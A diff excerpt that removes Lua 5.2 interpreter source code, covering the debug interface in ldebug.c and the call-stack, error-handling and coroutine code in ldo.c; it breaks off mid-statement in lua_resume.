0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* a. */ - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* b. */ - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* c. */ - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* d. */ - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* e. */ - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* f. */ - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, -}; - -#endif /* } */ -/* -** $Id: ldebug.c,v 2.89 2012/01/20 22:05:50 roberto Exp $ -** Debug Interface -** See Copyright Notice in lua.h -*/ - - -#include -#include -#include - - -#define ldebug_c -#define LUA_CORE - - - - - -#define noLuaClosure(f) ((f) == NULL || (f)->c.tt == LUA_TCCL) - - -static const char *getfuncname (lua_State *L, CallInfo *ci, const char **name); - - -static int currentpc (CallInfo *ci) { - lua_assert(isLua(ci)); - return pcRel(ci->u.l.savedpc, ci_func(ci)->p); -} - - -static int currentline (CallInfo *ci) { - return getfuncline(ci_func(ci)->p, currentpc(ci)); -} - - -/* -** this function can be called asynchronous (e.g. during a signal) -*/ -LUA_API int lua_sethook (lua_State *L, lua_Hook func, int mask, int count) { - if (func == NULL || mask == 0) { /* turn off hooks? */ - mask = 0; - func = NULL; - } - if (isLua(L->ci)) - L->oldpc = L->ci->u.l.savedpc; - L->hook = func; - L->basehookcount = count; - resethookcount(L); - L->hookmask = cast_byte(mask); - return 1; -} - - -LUA_API lua_Hook lua_gethook (lua_State *L) { - return L->hook; -} - - -LUA_API int lua_gethookmask (lua_State *L) { - return L->hookmask; -} - - -LUA_API int lua_gethookcount (lua_State *L) { - return L->basehookcount; -} - - -LUA_API int lua_getstack (lua_State *L, int level, lua_Debug *ar) { - int status; - CallInfo *ci; - if (level < 0) return 0; /* invalid (negative) level */ - lua_lock(L); - for (ci = L->ci; level > 0 && ci != &L->base_ci; ci = ci->previous) - level--; - if (level == 0 && ci != &L->base_ci) { /* level found? */ - status = 1; - ar->i_ci = ci; - } - else status = 0; /* no such level */ - lua_unlock(L); - return status; -} - - -static const char *upvalname (Proto *p, int uv) { - TString *s = check_exp(uv < p->sizeupvalues, p->upvalues[uv].name); - if (s == NULL) return "?"; - else return getstr(s); -} - - -static const char *findvararg (CallInfo *ci, int n, StkId *pos) { - int nparams = clLvalue(ci->func)->p->numparams; - if (n >= ci->u.l.base - ci->func - nparams) - return NULL; /* no such vararg */ - else { - *pos = ci->func + nparams + n; - return "(*vararg)"; /* generic name for any vararg */ - } -} - - -static const char *findlocal (lua_State *L, CallInfo *ci, int n, - StkId *pos) { - const char *name = NULL; - StkId base; - if (isLua(ci)) { - if (n < 0) /* access to vararg values? */ - return findvararg(ci, -n, pos); - else { - base = ci->u.l.base; - name = luaF_getlocalname(ci_func(ci)->p, n, currentpc(ci)); - } - } - else - base = ci->func + 1; - if (name == NULL) { /* no 'standard' name? */ - StkId limit = (ci == L->ci) ? L->top : ci->next->func; - if (limit - base >= n && n > 0) /* is 'n' inside 'ci' stack? */ - name = "(*temporary)"; /* generic name for any valid slot */ - else - return NULL; /* no name */ - } - *pos = base + (n - 1); - return name; -} - - -LUA_API const char *lua_getlocal (lua_State *L, const lua_Debug *ar, int n) { - const char *name; - lua_lock(L); - if (ar == NULL) { /* information about non-active function? */ - if (!isLfunction(L->top - 1)) /* not a Lua function? */ - name = NULL; - else /* consider live variables at function start (parameters) */ - name = luaF_getlocalname(clLvalue(L->top - 1)->p, n, 0); - } - else { /* active function; get information through 'ar' */ - StkId pos = 0; /* to avoid warnings */ - name = findlocal(L, ar->i_ci, n, &pos); - if (name) { - setobj2s(L, L->top, pos); - api_incr_top(L); - } - } - lua_unlock(L); - return name; -} - - -LUA_API const char *lua_setlocal (lua_State *L, const lua_Debug *ar, int n) { - StkId pos = 0; /* to avoid warnings */ - const char *name = findlocal(L, ar->i_ci, n, &pos); - lua_lock(L); - if (name) - setobjs2s(L, pos, L->top - 1); - L->top--; /* pop value */ - lua_unlock(L); - return name; -} - - -static void funcinfo (lua_Debug *ar, Closure *cl) { - if (noLuaClosure(cl)) { - ar->source = "=[C]"; - ar->linedefined = -1; - ar->lastlinedefined = -1; - ar->what = "C"; - } - else { - Proto *p = cl->l.p; - ar->source = p->source ? getstr(p->source) : "=?"; - ar->linedefined = p->linedefined; - ar->lastlinedefined = p->lastlinedefined; - ar->what = (ar->linedefined == 0) ? "main" : "Lua"; - } - luaO_chunkid(ar->short_src, ar->source, LUA_IDSIZE); -} - - -static void collectvalidlines (lua_State *L, Closure *f) { - if (noLuaClosure(f)) { - setnilvalue(L->top); - incr_top(L); - } - else { - int i; - TValue v; - int *lineinfo = f->l.p->lineinfo; - Table *t = luaH_new(L); /* new table to store active lines */ - sethvalue(L, L->top, t); /* push it on stack */ - incr_top(L); - setbvalue(&v, 1); /* boolean 'true' to be the value of all indices */ - for (i = 0; i < f->l.p->sizelineinfo; i++) /* for all lines with code */ - luaH_setint(L, t, lineinfo[i], &v); /* table[line] = true */ - } -} - - -static int auxgetinfo (lua_State *L, const char *what, lua_Debug *ar, - Closure *f, CallInfo *ci) { - int status = 1; - for (; *what; what++) { - switch (*what) { - case 'S': { - funcinfo(ar, f); - break; - } - case 'l': { - ar->currentline = (ci && isLua(ci)) ? currentline(ci) : -1; - break; - } - case 'u': { - ar->nups = (f == NULL) ? 0 : f->c.nupvalues; - if (noLuaClosure(f)) { - ar->isvararg = 1; - ar->nparams = 0; - } - else { - ar->isvararg = f->l.p->is_vararg; - ar->nparams = f->l.p->numparams; - } - break; - } - case 't': { - ar->istailcall = (ci) ? ci->callstatus & CIST_TAIL : 0; - break; - } - case 'n': { - /* calling function is a known Lua function? */ - if (ci && !(ci->callstatus & CIST_TAIL) && isLua(ci->previous)) - ar->namewhat = getfuncname(L, ci->previous, &ar->name); - else - ar->namewhat = NULL; - if (ar->namewhat == NULL) { - ar->namewhat = ""; /* not found */ - ar->name = NULL; - } - break; - } - case 'L': - case 'f': /* handled by lua_getinfo */ - break; - default: status = 0; /* invalid option */ - } - } - return status; -} - - -LUA_API int lua_getinfo (lua_State *L, const char *what, lua_Debug *ar) { - int status; - Closure *cl; - CallInfo *ci; - StkId func; - lua_lock(L); - if (*what == '>') { - ci = NULL; - func = L->top - 1; - api_check(L, ttisfunction(func), "function expected"); - what++; /* skip the '>' */ - L->top--; /* pop function */ - } - else { - ci = ar->i_ci; - func = ci->func; - lua_assert(ttisfunction(ci->func)); - } - cl = ttisclosure(func) ? clvalue(func) : NULL; - status = auxgetinfo(L, what, ar, cl, ci); - if (strchr(what, 'f')) { - setobjs2s(L, L->top, func); - incr_top(L); - } - if (strchr(what, 'L')) - collectvalidlines(L, cl); - lua_unlock(L); - return status; -} - - -/* -** {====================================================== -** Symbolic Execution -** ======================================================= -*/ - -static const char *getobjname (Proto *p, int lastpc, int reg, - const char **name); - - -/* -** find a "name" for the RK value 'c' -*/ -static void kname (Proto *p, int pc, int c, const char **name) { - if (ISK(c)) { /* is 'c' a constant? */ - TValue *kvalue = &p->k[INDEXK(c)]; - if (ttisstring(kvalue)) { /* literal constant? */ - *name = svalue(kvalue); /* it is its own name */ - return; - } - /* else no reasonable name found */ - } - else { /* 'c' is a register */ - const char *what = getobjname(p, pc, c, name); /* search for 'c' */ - if (what && *what == 'c') { /* found a constant name? */ - return; /* 'name' already filled */ - } - /* else no reasonable name found */ - } - *name = "?"; /* no reasonable name found */ -} - - -/* -** try to find last instruction before 'lastpc' that modified register 'reg' -*/ -static int findsetreg (Proto *p, int lastpc, int reg) { - int pc; - int setreg = -1; /* keep last instruction that changed 'reg' */ - for (pc = 0; pc < lastpc; pc++) { - Instruction i = p->code[pc]; - OpCode op = GET_OPCODE(i); - int a = GETARG_A(i); - switch (op) { - case OP_LOADNIL: { - int b = GETARG_B(i); - if (a <= reg && reg <= a + b) /* set registers from 'a' to 'a+b' */ - setreg = pc; - break; - } - case OP_TFORCALL: { - if (reg >= a + 2) setreg = pc; /* affect all regs above its base */ - break; - } - case OP_CALL: - case OP_TAILCALL: { - if (reg >= a) setreg = pc; /* affect all registers above base */ - break; - } - case OP_JMP: { - int b = GETARG_sBx(i); - int dest = pc + 1 + b; - /* jump is forward and do not skip `lastpc'? */ - if (pc < dest && dest <= lastpc) - pc += b; /* do the jump */ - break; - } - case OP_TEST: { - if (reg == a) setreg = pc; /* jumped code can change 'a' */ - break; - } - default: - if (testAMode(op) && reg == a) /* any instruction that set A */ - setreg = pc; - break; - } - } - return setreg; -} - - -static const char *getobjname (Proto *p, int lastpc, int reg, - const char **name) { - int pc; - *name = luaF_getlocalname(p, reg + 1, lastpc); - if (*name) /* is a local? */ - return "local"; - /* else try symbolic execution */ - pc = findsetreg(p, lastpc, reg); - if (pc != -1) { /* could find instruction? */ - Instruction i = p->code[pc]; - OpCode op = GET_OPCODE(i); - switch (op) { - case OP_MOVE: { - int b = GETARG_B(i); /* move from 'b' to 'a' */ - if (b < GETARG_A(i)) - return getobjname(p, pc, b, name); /* get name for 'b' */ - break; - } - case OP_GETTABUP: - case OP_GETTABLE: { - int k = GETARG_C(i); /* key index */ - int t = GETARG_B(i); /* table index */ - const char *vn = (op == OP_GETTABLE) /* name of indexed variable */ - ? luaF_getlocalname(p, t + 1, pc) - : upvalname(p, t); - kname(p, pc, k, name); - return (vn && strcmp(vn, LUA_ENV) == 0) ? "global" : "field"; - } - case OP_GETUPVAL: { - *name = upvalname(p, GETARG_B(i)); - return "upvalue"; - } - case OP_LOADK: - case OP_LOADKX: { - int b = (op == OP_LOADK) ? GETARG_Bx(i) - : GETARG_Ax(p->code[pc + 1]); - if (ttisstring(&p->k[b])) { - *name = svalue(&p->k[b]); - return "constant"; - } - break; - } - case OP_SELF: { - int k = GETARG_C(i); /* key index */ - kname(p, pc, k, name); - return "method"; - } - default: break; /* go through to return NULL */ - } - } - return NULL; /* could not find reasonable name */ -} - - -static const char *getfuncname (lua_State *L, CallInfo *ci, const char **name) { - TMS tm; - Proto *p = ci_func(ci)->p; /* calling function */ - int pc = currentpc(ci); /* calling instruction index */ - Instruction i = p->code[pc]; /* calling instruction */ - switch (GET_OPCODE(i)) { - case OP_CALL: - case OP_TAILCALL: /* get function name */ - return getobjname(p, pc, GETARG_A(i), name); - case OP_TFORCALL: { /* for iterator */ - *name = "for iterator"; - return "for iterator"; - } - /* all other instructions can call only through metamethods */ - case OP_SELF: - case OP_GETTABUP: - case OP_GETTABLE: tm = TM_INDEX; break; - case OP_SETTABUP: - case OP_SETTABLE: tm = TM_NEWINDEX; break; - case OP_EQ: tm = TM_EQ; break; - case OP_ADD: tm = TM_ADD; break; - case OP_SUB: tm = TM_SUB; break; - case OP_MUL: tm = TM_MUL; break; - case OP_DIV: tm = TM_DIV; break; - case OP_MOD: tm = TM_MOD; break; - case OP_POW: tm = TM_POW; break; - case OP_UNM: tm = TM_UNM; break; - case OP_LEN: tm = TM_LEN; break; - case OP_LT: tm = TM_LT; break; - case OP_LE: tm = TM_LE; break; - case OP_CONCAT: tm = TM_CONCAT; break; - default: - return NULL; /* else no useful name can be found */ - } - *name = getstr(G(L)->tmname[tm]); - return "metamethod"; -} - -/* }====================================================== */ - - - -/* -** only ANSI way to check whether a pointer points to an array -** (used only for error messages, so efficiency is not a big concern) -*/ -static int isinstack (CallInfo *ci, const TValue *o) { - StkId p; - for (p = ci->u.l.base; p < ci->top; p++) - if (o == p) return 1; - return 0; -} - - -static const char *getupvalname (CallInfo *ci, const TValue *o, - const char **name) { - LClosure *c = ci_func(ci); - int i; - for (i = 0; i < c->nupvalues; i++) { - if (c->upvals[i]->v == o) { - *name = upvalname(c->p, i); - return "upvalue"; - } - } - return NULL; -} - - -l_noret luaG_typeerror (lua_State *L, const TValue *o, const char *op) { - CallInfo *ci = L->ci; - const char *name = NULL; - const char *t = objtypename(o); - const char *kind = NULL; - if (isLua(ci)) { - kind = getupvalname(ci, o, &name); /* check whether 'o' is an upvalue */ - if (!kind && isinstack(ci, o)) /* no? try a register */ - kind = getobjname(ci_func(ci)->p, currentpc(ci), - cast_int(o - ci->u.l.base), &name); - } - if (kind) - luaG_runerror(L, "attempt to %s %s " LUA_QS " (a %s value)", - op, kind, name, t); - else - luaG_runerror(L, "attempt to %s a %s value", op, t); -} - - -l_noret luaG_concaterror (lua_State *L, StkId p1, StkId p2) { - if (ttisstring(p1) || ttisnumber(p1)) p1 = p2; - lua_assert(!ttisstring(p1) && !ttisnumber(p2)); - luaG_typeerror(L, p1, "concatenate"); -} - - -l_noret luaG_aritherror (lua_State *L, const TValue *p1, const TValue *p2) { - TValue temp; - if (luaV_tonumber(p1, &temp) == NULL) - p2 = p1; /* first operand is wrong */ - luaG_typeerror(L, p2, "perform arithmetic on"); -} - - -l_noret luaG_ordererror (lua_State *L, const TValue *p1, const TValue *p2) { - const char *t1 = objtypename(p1); - const char *t2 = objtypename(p2); - if (t1 == t2) - luaG_runerror(L, "attempt to compare two %s values", t1); - else - luaG_runerror(L, "attempt to compare %s with %s", t1, t2); -} - - -static void addinfo (lua_State *L, const char *msg) { - CallInfo *ci = L->ci; - if (isLua(ci)) { /* is Lua code? */ - char buff[LUA_IDSIZE]; /* add file:line information */ - int line = currentline(ci); - TString *src = ci_func(ci)->p->source; - if (src) - luaO_chunkid(buff, getstr(src), LUA_IDSIZE); - else { /* no source available; use "?" instead */ - buff[0] = '?'; buff[1] = '\0'; - } - luaO_pushfstring(L, "%s:%d: %s", buff, line, msg); - } -} - - -l_noret luaG_errormsg (lua_State *L) { - if (L->errfunc != 0) { /* is there an error handling function? */ - StkId errfunc = restorestack(L, L->errfunc); - if (!ttisfunction(errfunc)) luaD_throw(L, LUA_ERRERR); - setobjs2s(L, L->top, L->top - 1); /* move argument */ - setobjs2s(L, L->top - 1, errfunc); /* push function */ - incr_top(L); - luaD_call(L, L->top - 2, 1, 0); /* call it */ - } - luaD_throw(L, LUA_ERRRUN); -} - - -l_noret luaG_runerror (lua_State *L, const char *fmt, ...) { - va_list argp; - va_start(argp, fmt); - addinfo(L, luaO_pushvfstring(L, fmt, argp)); - va_end(argp); - luaG_errormsg(L); -} - -/* -** $Id: ldo.c,v 2.105 2012/06/08 15:14:04 roberto Exp $ -** Stack and Call structure of Lua -** See Copyright Notice in lua.h -*/ - - -#include -#include -#include - -#define ldo_c -#define LUA_CORE - - - - - - -/* -** {====================================================== -** Error-recovery functions -** ======================================================= -*/ - -/* -** LUAI_THROW/LUAI_TRY define how Lua does exception handling. By -** default, Lua handles errors with exceptions when compiling as -** C++ code, with _longjmp/_setjmp when asked to use them, and with -** longjmp/setjmp otherwise. -*/ -#if !defined(LUAI_THROW) - -#if defined(__cplusplus) && !defined(LUA_USE_LONGJMP) -/* C++ exceptions */ -#define LUAI_THROW(L,c) throw(c) -#define LUAI_TRY(L,c,a) \ - try { a } catch(...) { if ((c)->status == 0) (c)->status = -1; } -#define luai_jmpbuf int /* dummy variable */ - -#elif defined(LUA_USE_ULONGJMP) -/* in Unix, try _longjmp/_setjmp (more efficient) */ -#define LUAI_THROW(L,c) _longjmp((c)->b, 1) -#define LUAI_TRY(L,c,a) if (_setjmp((c)->b) == 0) { a } -#define luai_jmpbuf jmp_buf - -#else -/* default handling with long jumps */ -#define LUAI_THROW(L,c) longjmp((c)->b, 1) -#define LUAI_TRY(L,c,a) if (setjmp((c)->b) == 0) { a } -#define luai_jmpbuf jmp_buf - -#endif - -#endif - - - -/* chain list of long jump buffers */ -struct lua_longjmp { - struct lua_longjmp *previous; - luai_jmpbuf b; - volatile int status; /* error code */ -}; - - -static void seterrorobj (lua_State *L, int errcode, StkId oldtop) { - switch (errcode) { - case LUA_ERRMEM: { /* memory error? */ - setsvalue2s(L, oldtop, G(L)->memerrmsg); /* reuse preregistered msg. */ - break; - } - case LUA_ERRERR: { - setsvalue2s(L, oldtop, luaS_newliteral(L, "error in error handling")); - break; - } - default: { - setobjs2s(L, oldtop, L->top - 1); /* error message on current top */ - break; - } - } - L->top = oldtop + 1; -} - - -l_noret luaD_throw (lua_State *L, int errcode) { - if (L->errorJmp) { /* thread has an error handler? */ - L->errorJmp->status = errcode; /* set status */ - LUAI_THROW(L, L->errorJmp); /* jump to it */ - } - else { /* thread has no error handler */ - L->status = cast_byte(errcode); /* mark it as dead */ - if (G(L)->mainthread->errorJmp) { /* main thread has a handler? */ - setobjs2s(L, G(L)->mainthread->top++, L->top - 1); /* copy error obj. */ - luaD_throw(G(L)->mainthread, errcode); /* re-throw in main thread */ - } - else { /* no handler at all; abort */ - if (G(L)->panic) { /* panic function? */ - lua_unlock(L); - G(L)->panic(L); /* call it (last chance to jump out) */ - } - abort(); - } - } -} - - -int luaD_rawrunprotected (lua_State *L, Pfunc f, void *ud) { - unsigned short oldnCcalls = L->nCcalls; - struct lua_longjmp lj; - lj.status = LUA_OK; - lj.previous = L->errorJmp; /* chain new error handler */ - L->errorJmp = &lj; - LUAI_TRY(L, &lj, - (*f)(L, ud); - ); - L->errorJmp = lj.previous; /* restore old error handler */ - L->nCcalls = oldnCcalls; - return lj.status; -} - -/* }====================================================== */ - - -static void correctstack (lua_State *L, TValue *oldstack) { - CallInfo *ci; - GCObject *up; - L->top = (L->top - oldstack) + L->stack; - for (up = L->openupval; up != NULL; up = up->gch.next) - gco2uv(up)->v = (gco2uv(up)->v - oldstack) + L->stack; - for (ci = L->ci; ci != NULL; ci = ci->previous) { - ci->top = (ci->top - oldstack) + L->stack; - ci->func = (ci->func - oldstack) + L->stack; - if (isLua(ci)) - ci->u.l.base = (ci->u.l.base - oldstack) + L->stack; - } -} - - -/* some space for error handling */ -#define ERRORSTACKSIZE (LUAI_MAXSTACK + 200) - - -void luaD_reallocstack (lua_State *L, int newsize) { - TValue *oldstack = L->stack; - int lim = L->stacksize; - lua_assert(newsize <= LUAI_MAXSTACK || newsize == ERRORSTACKSIZE); - lua_assert(L->stack_last - L->stack == L->stacksize - EXTRA_STACK); - luaM_reallocvector(L, L->stack, L->stacksize, newsize, TValue); - for (; lim < newsize; lim++) - setnilvalue(L->stack + lim); /* erase new segment */ - L->stacksize = newsize; - L->stack_last = L->stack + newsize - EXTRA_STACK; - correctstack(L, oldstack); -} - - -void luaD_growstack (lua_State *L, int n) { - int size = L->stacksize; - if (size > LUAI_MAXSTACK) /* error after extra size? */ - luaD_throw(L, LUA_ERRERR); - else { - int needed = cast_int(L->top - L->stack) + n + EXTRA_STACK; - int newsize = 2 * size; - if (newsize > LUAI_MAXSTACK) newsize = LUAI_MAXSTACK; - if (newsize < needed) newsize = needed; - if (newsize > LUAI_MAXSTACK) { /* stack overflow? */ - luaD_reallocstack(L, ERRORSTACKSIZE); - luaG_runerror(L, "stack overflow"); - } - else - luaD_reallocstack(L, newsize); - } -} - - -static int stackinuse (lua_State *L) { - CallInfo *ci; - StkId lim = L->top; - for (ci = L->ci; ci != NULL; ci = ci->previous) { - lua_assert(ci->top <= L->stack_last); - if (lim < ci->top) lim = ci->top; - } - return cast_int(lim - L->stack) + 1; /* part of stack in use */ -} - - -void luaD_shrinkstack (lua_State *L) { - int inuse = stackinuse(L); - int goodsize = inuse + (inuse / 8) + 2*EXTRA_STACK; - if (goodsize > LUAI_MAXSTACK) goodsize = LUAI_MAXSTACK; - if (inuse > LUAI_MAXSTACK || /* handling stack overflow? */ - goodsize >= L->stacksize) /* would grow instead of shrink? */ - condmovestack(L); /* don't change stack (change only for debugging) */ - else - luaD_reallocstack(L, goodsize); /* shrink it */ -} - - -void luaD_hook (lua_State *L, int event, int line) { - lua_Hook hook = L->hook; - if (hook && L->allowhook) { - CallInfo *ci = L->ci; - ptrdiff_t top = savestack(L, L->top); - ptrdiff_t ci_top = savestack(L, ci->top); - lua_Debug ar; - ar.event = event; - ar.currentline = line; - ar.i_ci = ci; - luaD_checkstack(L, LUA_MINSTACK); /* ensure minimum stack size */ - ci->top = L->top + LUA_MINSTACK; - lua_assert(ci->top <= L->stack_last); - L->allowhook = 0; /* cannot call hooks inside a hook */ - ci->callstatus |= CIST_HOOKED; - lua_unlock(L); - (*hook)(L, &ar); - lua_lock(L); - lua_assert(!L->allowhook); - L->allowhook = 1; - ci->top = restorestack(L, ci_top); - L->top = restorestack(L, top); - ci->callstatus &= ~CIST_HOOKED; - } -} - - -static void callhook (lua_State *L, CallInfo *ci) { - int hook = LUA_HOOKCALL; - ci->u.l.savedpc++; /* hooks assume 'pc' is already incremented */ - if (isLua(ci->previous) && - GET_OPCODE(*(ci->previous->u.l.savedpc - 1)) == OP_TAILCALL) { - ci->callstatus |= CIST_TAIL; - hook = LUA_HOOKTAILCALL; - } - luaD_hook(L, hook, -1); - ci->u.l.savedpc--; /* correct 'pc' */ -} - - -static StkId adjust_varargs (lua_State *L, Proto *p, int actual) { - int i; - int nfixargs = p->numparams; - StkId base, fixed; - lua_assert(actual >= nfixargs); - /* move fixed parameters to final position */ - fixed = L->top - actual; /* first fixed argument */ - base = L->top; /* final position of first argument */ - for (i=0; itop++, fixed + i); - setnilvalue(fixed + i); - } - return base; -} - - -static StkId tryfuncTM (lua_State *L, StkId func) { - const TValue *tm = luaT_gettmbyobj(L, func, TM_CALL); - StkId p; - ptrdiff_t funcr = savestack(L, func); - if (!ttisfunction(tm)) - luaG_typeerror(L, func, "call"); - /* Open a hole inside the stack at `func' */ - for (p = L->top; p > func; p--) setobjs2s(L, p, p-1); - incr_top(L); - func = restorestack(L, funcr); /* previous call may change stack */ - setobj2s(L, func, tm); /* tag method is the new function to be called */ - return func; -} - - - -#define next_ci(L) (L->ci = (L->ci->next ? L->ci->next : luaE_extendCI(L))) - - -/* -** returns true if function has been executed (C function) -*/ -int luaD_precall (lua_State *L, StkId func, int nresults) { - lua_CFunction f; - CallInfo *ci; - int n; /* number of arguments (Lua) or returns (C) */ - ptrdiff_t funcr = savestack(L, func); - switch (ttype(func)) { - case LUA_TLCF: /* light C function */ - f = fvalue(func); - goto Cfunc; - case LUA_TCCL: { /* C closure */ - f = clCvalue(func)->f; - Cfunc: - luaD_checkstack(L, LUA_MINSTACK); /* ensure minimum stack size */ - ci = next_ci(L); /* now 'enter' new function */ - ci->nresults = nresults; - ci->func = restorestack(L, funcr); - ci->top = L->top + LUA_MINSTACK; - lua_assert(ci->top <= L->stack_last); - ci->callstatus = 0; - if (L->hookmask & LUA_MASKCALL) - luaD_hook(L, LUA_HOOKCALL, -1); - lua_unlock(L); - n = (*f)(L); /* do the actual call */ - lua_lock(L); - api_checknelems(L, n); - luaD_poscall(L, L->top - n); - return 1; - } - case LUA_TLCL: { /* Lua function: prepare its call */ - StkId base; - Proto *p = clLvalue(func)->p; - luaD_checkstack(L, p->maxstacksize); - func = restorestack(L, funcr); - n = cast_int(L->top - func) - 1; /* number of real arguments */ - for (; n < p->numparams; n++) - setnilvalue(L->top++); /* complete missing arguments */ - base = (!p->is_vararg) ? func + 1 : adjust_varargs(L, p, n); - ci = next_ci(L); /* now 'enter' new function */ - ci->nresults = nresults; - ci->func = func; - ci->u.l.base = base; - ci->top = base + p->maxstacksize; - lua_assert(ci->top <= L->stack_last); - ci->u.l.savedpc = p->code; /* starting point */ - ci->callstatus = CIST_LUA; - L->top = ci->top; - if (L->hookmask & LUA_MASKCALL) - callhook(L, ci); - return 0; - } - default: { /* not a function */ - func = tryfuncTM(L, func); /* retry with 'function' tag method */ - return luaD_precall(L, func, nresults); /* now it must be a function */ - } - } -} - - -int luaD_poscall (lua_State *L, StkId firstResult) { - StkId res; - int wanted, i; - CallInfo *ci = L->ci; - if (L->hookmask & (LUA_MASKRET | LUA_MASKLINE)) { - if (L->hookmask & LUA_MASKRET) { - ptrdiff_t fr = savestack(L, firstResult); /* hook may change stack */ - luaD_hook(L, LUA_HOOKRET, -1); - firstResult = restorestack(L, fr); - } - L->oldpc = ci->previous->u.l.savedpc; /* 'oldpc' for caller function */ - } - res = ci->func; /* res == final position of 1st result */ - wanted = ci->nresults; - L->ci = ci = ci->previous; /* back to caller */ - /* move results to correct place */ - for (i = wanted; i != 0 && firstResult < L->top; i--) - setobjs2s(L, res++, firstResult++); - while (i-- > 0) - setnilvalue(res++); - L->top = res; - return (wanted - LUA_MULTRET); /* 0 iff wanted == LUA_MULTRET */ -} - - -/* -** Call a function (C or Lua). The function to be called is at *func. -** The arguments are on the stack, right after the function. -** When returns, all the results are on the stack, starting at the original -** function position. -*/ -void luaD_call (lua_State *L, StkId func, int nResults, int allowyield) { - if (++L->nCcalls >= LUAI_MAXCCALLS) { - if (L->nCcalls == LUAI_MAXCCALLS) - luaG_runerror(L, "C stack overflow"); - else if (L->nCcalls >= (LUAI_MAXCCALLS + (LUAI_MAXCCALLS>>3))) - luaD_throw(L, LUA_ERRERR); /* error while handing stack error */ - } - if (!allowyield) L->nny++; - if (!luaD_precall(L, func, nResults)) /* is a Lua function? */ - luaV_execute(L); /* call it */ - if (!allowyield) L->nny--; - L->nCcalls--; - luaC_checkGC(L); -} - - -static void finishCcall (lua_State *L) { - CallInfo *ci = L->ci; - int n; - lua_assert(ci->u.c.k != NULL); /* must have a continuation */ - lua_assert(L->nny == 0); - /* finish 'lua_callk' */ - adjustresults(L, ci->nresults); - /* call continuation function */ - if (!(ci->callstatus & CIST_STAT)) /* no call status? */ - ci->u.c.status = LUA_YIELD; /* 'default' status */ - lua_assert(ci->u.c.status != LUA_OK); - ci->callstatus = (ci->callstatus & ~(CIST_YPCALL | CIST_STAT)) | CIST_YIELDED; - lua_unlock(L); - n = (*ci->u.c.k)(L); - lua_lock(L); - api_checknelems(L, n); - /* finish 'luaD_precall' */ - luaD_poscall(L, L->top - n); -} - - -static void unroll (lua_State *L, void *ud) { - UNUSED(ud); - for (;;) { - if (L->ci == &L->base_ci) /* stack is empty? */ - return; /* coroutine finished normally */ - if (!isLua(L->ci)) /* C function? */ - finishCcall(L); - else { /* Lua function */ - luaV_finishOp(L); /* finish interrupted instruction */ - luaV_execute(L); /* execute down to higher C 'boundary' */ - } - } -} - - -/* -** check whether thread has a suspended protected call -*/ -static CallInfo *findpcall (lua_State *L) { - CallInfo *ci; - for (ci = L->ci; ci != NULL; ci = ci->previous) { /* search for a pcall */ - if (ci->callstatus & CIST_YPCALL) - return ci; - } - return NULL; /* no pending pcall */ -} - - -static int recover (lua_State *L, int status) { - StkId oldtop; - CallInfo *ci = findpcall(L); - if (ci == NULL) return 0; /* no recovery point */ - /* "finish" luaD_pcall */ - oldtop = restorestack(L, ci->extra); - luaF_close(L, oldtop); - seterrorobj(L, status, oldtop); - L->ci = ci; - L->allowhook = ci->u.c.old_allowhook; - L->nny = 0; /* should be zero to be yieldable */ - luaD_shrinkstack(L); - L->errfunc = ci->u.c.old_errfunc; - ci->callstatus |= CIST_STAT; /* call has error status */ - ci->u.c.status = status; /* (here it is) */ - return 1; /* continue running the coroutine */ -} - - -/* -** signal an error in the call to 'resume', not in the execution of the -** coroutine itself. (Such errors should not be handled by any coroutine -** error handler and should not kill the coroutine.) -*/ -static l_noret resume_error (lua_State *L, const char *msg, StkId firstArg) { - L->top = firstArg; /* remove args from the stack */ - setsvalue2s(L, L->top, luaS_new(L, msg)); /* push error message */ - incr_top(L); - luaD_throw(L, -1); /* jump back to 'lua_resume' */ -} - - -/* -** do the work for 'lua_resume' in protected mode -*/ -static void resume (lua_State *L, void *ud) { - int nCcalls = L->nCcalls; - StkId firstArg = cast(StkId, ud); - CallInfo *ci = L->ci; - if (nCcalls >= LUAI_MAXCCALLS) - resume_error(L, "C stack overflow", firstArg); - if (L->status == LUA_OK) { /* may be starting a coroutine */ - if (ci != &L->base_ci) /* not in base level? */ - resume_error(L, "cannot resume non-suspended coroutine", firstArg); - /* coroutine is in base level; start running it */ - if (!luaD_precall(L, firstArg - 1, LUA_MULTRET)) /* Lua function? */ - luaV_execute(L); /* call it */ - } - else if (L->status != LUA_YIELD) - resume_error(L, "cannot resume dead coroutine", firstArg); - else { /* resuming from previous yield */ - L->status = LUA_OK; - ci->func = restorestack(L, ci->extra); - if (isLua(ci)) /* yielded inside a hook? */ - luaV_execute(L); /* just continue running Lua code */ - else { /* 'common' yield */ - if (ci->u.c.k != NULL) { /* does it have a continuation? */ - int n; - ci->u.c.status = LUA_YIELD; /* 'default' status */ - ci->callstatus |= CIST_YIELDED; - lua_unlock(L); - n = (*ci->u.c.k)(L); /* call continuation */ - lua_lock(L); - api_checknelems(L, n); - firstArg = L->top - n; /* yield results come from continuation */ - } - luaD_poscall(L, firstArg); /* finish 'luaD_precall' */ - } - unroll(L, NULL); - } - lua_assert(nCcalls == L->nCcalls); -} - - -LUA_API int lua_resume (lua_State *L, lua_State *from, int nargs) { - int status; - lua_lock(L); - luai_userstateresume(L, nargs); - L->nCcalls = (from) ? from->nCcalls + 1 : 1; - L->nny = 0; /* allow yields */ - api_checknelems(L, (L->status == LUA_OK) ? nargs + 1 : nargs); - status = luaD_rawrunprotected(L, resume, L->top - nargs); - if (status == -1) /* error calling 'lua_resume'? */ - status = LUA_ERRRUN; - else { /* yield or regular error */ - while (status != LUA_OK && status != LUA_YIELD) { /* error? */ - if (recover(L, status)) /* recover point? */ - status = 